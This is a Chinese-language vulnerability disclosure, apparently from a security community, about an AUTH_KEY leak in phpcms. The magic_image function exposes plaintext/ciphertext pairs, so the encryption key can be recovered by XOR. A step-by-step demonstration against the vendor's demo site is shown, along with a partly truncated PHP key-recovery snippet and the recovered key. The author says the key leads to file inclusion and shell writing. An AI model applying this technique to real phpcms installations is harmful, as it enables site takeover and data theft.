phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞 phpcms又一个鸡肋。
phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。 而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。
《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795 已经说明了两个破解”phpcms_auth函数的加密密钥AUTH_KEY”的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。 是的开放的phpcms真的给我们这样的了,没有保留。
上一篇说到”破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。” 其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。 来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。
// include global.fun.php
function magic_image($txt, $fonttype = 4) { if(empty($txt)) return false; if(function_exists(“imagepng”)) { $txt = urlencode(phpcms_auth($txt, ‘ENCODE’, AUTH_KEY)); $txt = ‘底部附代码‘; } return $txt; } ------------------------------------------
附代码:/phpcms%e7%9a%84%e5%8f%a6%e4%b8%80%e4%b8%aaphpcms_auth%e5%87%bd%e6%95%b0%e7%9a%84%e5%8a%a0%e5%af%86%e5%af%86%e9%92%a5auth_key%e6%b3%84%e6%bc%8f%e6%bc%8f%e6%b4%9e/'.PHPCMS_PATH.'magic_image.php?gd=1&fonttype='.$fonttype.'&txt='.$txt.
------------------------------------------ 在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。 发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密,显示给用户的时候又会调用magic_image.php文件,对字符串解密并进行生成图片。 就是说: 我们可以自定义明文 并且我们也可以得到明文加密后的密文
这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可),不费什么力气。
——————– 举例说明 1.在http://demo.phpcms.cn随便注册个普通用户会员 2.在跳蚤市场那
http://demo.phpcms.cn/info/sale/
随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22 随便发一条信息 使用邮箱为 mail:c4rp3nt3r@gmail.com 3.最后找到我们发布的信息:
http://demo.phpcms.cn/2011/0405/366.html
查看邮箱图片的地址
http://demo.phpcms.cn/magic_image.php?gd=1&fonttype=4&txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
——————–
好了 明文:mailc4rp3nt3r@gmail.com 密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
解密一下:
$key="mailc4rp3nt3r@gmail.com"; $txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D'; $txt=base64_decode(urldecode($txt));
for($i=0;$i 运行结果: $ php /var/www/vul.php OXdcFVodxAcbCUeTgLBgOXdc
我们的密钥就是: OXdcFVodxAcbCUeTgLBg
----------------------------------------
by c4rp3nt3r@0x50sec.org
|